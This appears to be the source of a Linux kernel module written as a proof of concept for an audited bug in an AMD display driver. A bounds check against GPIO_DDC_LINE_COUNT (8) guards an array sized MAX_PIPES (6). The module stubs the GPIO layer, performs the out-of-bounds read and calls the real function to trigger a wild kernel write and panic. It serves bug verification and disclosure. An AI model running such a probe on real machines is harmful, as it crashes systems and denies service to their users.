/*
 * DF-4827 probe KLD - dce_i2c_sw.c sw_i2cs[line] array-domain mismatch.
 *
 * This module compiles the REAL, UNMODIFIED audited file
 *   sys/dev/drm/amd/display/dc/dce/dce_i2c_sw.c
 * (from the guest's /usr/src/sys, sha256-verified identical to the audit
 * tree) and calls its real entry point dce_i2c_acquire_i2c_sw_engine()
 * against a faithfully-constructed fake resource_pool + ddc.
 *
 * Only the GPIO service layer (gpio_service.c / gpio_base.c, which would
 * talk to real hardware) is stubbed. The stubs emulate exactly what the
 * real gpio service does for a DDC handle on the VGA pad (en = 6):
 *   - dal_gpio_service_open() succeeds: hw_factory_dce80 declares
 *     number_of_pins[GPIO_ID_DDC_DATA] = 8 (gpio/dce80/hw_factory_dce80.c:163)
 *     so the busyness bitmap covers en=6, and ddc_data_regs[] has a valid
 *     entry for GPIO_DDC_LINE_DDC_VGA (hw_translate_dce80.c:190-192 maps
 *     mmDC_GPIO_DDCVGA_A -> en=6).
 *
 * The defect under test (dce_i2c_sw.c:73-97 + 528-545):
 *   get_hw_supported_ddc_line() validates the line against
 *   GPIO_DDC_LINE_COUNT (== 8) but the array it feeds,
 *   resource_pool.sw_i2cs[], is sized MAX_PIPES (== 6,
 *   dc/inc/hw/hw_shared.h:37). A DDC handle with en = 6 (VGA pad) or 7
 *   (I2C pad) passes the guard and makes dce_i2c_acquire_i2c_sw_engine()
 *   read pool->sw_i2cs[6] / [7] OUT OF BOUNDS - which alias the scalar
 *   members {i2c_hw_buffer_in_use, pipe_count} / {underlay_pipe_index,
 *   stream_enc_count} of struct resource_pool (dc/inc/core_types.h:151-157).
 *   The resulting garbage non-NULL pointer is then treated as
 *   struct dce_i2c_sw * and WRITTEN at engine->ddc = ddc
 *   (dce_i2c_sw.c:392) -> wild kernel write -> page fault -> panic.
 */
#include <linux/module.h>
#include <linux/printk.h>

/* real headers from the audited tree (same include set as dce_i2c_sw.c) */
#include "dce_i2c.h"
#include "dce_i2c_sw.h"
#include "include/gpio_service_interface.h"
#include "inc/hw/hw_shared.h"	/* MAX_PIPES */

/* ------------------------------------------------------------------ */
/* GPIO-service stubs (the only fabricated layer)                      */
/* ------------------------------------------------------------------ */

enum gpio_result dal_gpio_get_value(const struct gpio *gpio, uint32_t *value)
{
	printk(KERN_INFO "swi2cs:   [stub] dal_gpio_get_value() - NOT REACHED\n");
	*value = 0;
	return GPIO_RESULT_OK;
}

enum gpio_result dal_gpio_set_value(const struct gpio *gpio, uint32_t value)
{
	printk(KERN_INFO "swi2cs:   [stub] dal_gpio_set_value(%u) - NOT REACHED\n",
		value);
	return GPIO_RESULT_OK;
}

void dal_ddc_close(struct ddc *ddc)
{
	printk(KERN_INFO "swi2cs:   [stub] dal_ddc_close() - NOT REACHED\n");
}

/*
 * Emulates gpio_service.c:dal_ddc_open() for en=6 on DCE8x: the pin-busy
 * bitmap is sized for 8 DDC pins (hw_factory_dce80.c:163-164), the ddc
 * register tables have valid entries for GPIO_DDC_LINE_DDC_VGA, so both
 * dal_gpio_open_ex(pin_data) and dal_gpio_open_ex(pin_clock) succeed and
 * dal_gpio_set_config() programs the pad -> GPIO_RESULT_OK.
 */
enum gpio_result dal_ddc_open(
	struct ddc *ddc,
	enum gpio_mode mode,
	enum gpio_ddc_config_type config_type)
{
	printk(KERN_INFO "swi2cs:   [stub] dal_ddc_open(en=%u) -> GPIO_RESULT_OK "
		"(real gpio_service succeeds: busyness bitmap has 8 DDC pins, "
		"ddc_data_regs[GPIO_DDC_LINE_DDC_VGA] is valid)\n",
		ddc->pin_data->en);
	return GPIO_RESULT_OK;
}

enum gpio_ddc_line dal_ddc_get_line(const struct ddc *ddc)
{
	/* gpio_service.c:566-570: dal_gpio_get_enum(ddc->pin_data) */
	return (enum gpio_ddc_line)ddc->pin_data->en;
}

/* ------------------------------------------------------------------ */

static struct resource_pool pool;	/* BSS: all-zero, like construct */
static struct ddc ddc;
static struct gpio gpin;

static int __init swi2cs_init(void)
{
	unsigned long oob6, oob7;

	/*
	 * Realistic pool state as left by the resource constructors:
	 * dce80 allocates sw_i2cs[0..5]; DCE100/110/120/DCN10 leave all
	 * six entries NULL. The OOB read at [6]/[7] aliases the scalars
	 * below in EVERY case - that is what makes this bug
	 * chip-independent.
	 */
	pool.pipe_count = 6;			/* dce80: 6 pipes */
	pool.i2c_hw_buffer_in_use = 0;
	pool.underlay_pipe_index = NO_UNDERLAY_PIPE;	/* -1 */
	pool.stream_enc_count = 3;

	/* fake DDC handle: VBIOS DDCVGA pad, HW-capable */
	gpin.en = GPIO_DDC_LINE_DDC_VGA;	/* == 6 */
	ddc.pin_data = &gpin;
	ddc.hw_info.hw_supported = true;	/* I2C_HW_CAP from VBIOS */

	/*
	 * NOTE: we deliberately address sw_i2cs[6]/[7] via char* arithmetic
	 * below because gcc -Warray-bounds rejects the direct subscript
	 * ("array subscript 7 is above array bounds of 'struct dce_i2c_sw
	 * *[6]'") - the compiler itself confirms the OOB. The real audited
	 * code escapes the warning only because its index is a runtime value.
	 */
	printk(KERN_INFO "swi2cs: layout proof (real struct resource_pool,"
		" real headers):\n");
	printk(KERN_INFO "swi2cs:   MAX_PIPES                = %d\n", MAX_PIPES);
	printk(KERN_INFO "swi2cs:   GPIO_DDC_LINE_COUNT      = %d\n",
		GPIO_DDC_LINE_COUNT);
	printk(KERN_INFO "swi2cs:   &pool.sw_i2cs[5] (last legal) = %p (+%zu)\n",
		&pool.sw_i2cs[5],
		(size_t)((char *)&pool.sw_i2cs[5] - (char *)&pool));
	printk(KERN_INFO "swi2cs:   &pool.sw_i2cs[6] (OOB)       = %p (+%zu)\n",
		(char *)&pool.sw_i2cs[5] + sizeof(void *),
		(size_t)((char *)&pool.sw_i2cs[5] + sizeof(void *) -
			(char *)&pool));
	printk(KERN_INFO "swi2cs:   &pool.i2c_hw_buffer_in_use   = %p\n",
		&pool.i2c_hw_buffer_in_use);
	printk(KERN_INFO "swi2cs:   &pool.pipe_count             = %p\n",
		&pool.pipe_count);
	printk(KERN_INFO "swi2cs:   &pool.sw_i2cs[7] (OOB)       = %p\n",
		(char *)&pool.sw_i2cs[5] + 2 * sizeof(void *));
	printk(KERN_INFO "swi2cs:   &pool.underlay_pipe_index    = %p\n",
		&pool.underlay_pipe_index);
	printk(KERN_INFO "swi2cs:   &pool.stream_enc_count       = %p\n",
		&pool.stream_enc_count);

	/* perform the OOB read the way the driver does (no fault) */
	oob6 = *(volatile unsigned long *)((char *)&pool.sw_i2cs[5] +
		sizeof(void *));
	oob7 = *(volatile unsigned long *)((char *)&pool.sw_i2cs[5] +
		2 * sizeof(void *));
	printk(KERN_INFO "swi2cs: OOB READ pool.sw_i2cs[6] == 0x%016lx "
		"(pipe_count=%u << 32 | hw_buf_in_use=%u)\n",
		oob6, pool.pipe_count, pool.i2c_hw_buffer_in_use);
	printk(KERN_INFO "swi2cs: OOB READ pool.sw_i2cs[7] == 0x%016lx "
		"(stream_enc_count=%u << 32 | underlay=%d)\n",
		oob7, pool.stream_enc_count, pool.underlay_pipe_index);
	printk(KERN_INFO "swi2cs: both garbage values are NON-NULL -> the real"
		" code's 'if (!engine) return NULL' at dce_i2c_sw.c:538"
		" does NOT save us\n");

	printk(KERN_INFO "swi2cs: FIRING - calling the REAL "
		"dce_i2c_acquire_i2c_sw_engine(&pool, &ddc)...\n");
	/*
	 * Real audited code path, dce_i2c_sw.c:
	 *   get_hw_supported_ddc_line: 6 < GPIO_DDC_LINE_COUNT(8) -> PASS
	 *   engine = pool->sw_i2cs[6]     <- OUT OF BOUNDS READ (:536)
	 *   dce_i2c_engine_acquire_sw()   -> dal_ddc_open() OK
	 *   engine->ddc = ddc             <- WILD WRITE  (:392)
	 */
	{
		struct dce_i2c_sw *e = dce_i2c_acquire_i2c_sw_engine(&pool, &ddc);

		printk(KERN_INFO "swi2cs: acquire returned %p "
			"(NULL = correctly rejected)\n", e);
	}
	return 0;
}

static void __exit swi2cs_exit(void)
{
	printk(KERN_INFO "swi2cs: unloaded\n");
}

module_init(swi2cs_init);
module_exit(swi2cs_exit);

MODULE_DESCRIPTION("DF-4827: sw_i2cs[line] OOB - guard uses GPIO_DDC_LINE_COUNT(8), array sized MAX_PIPES(6)");
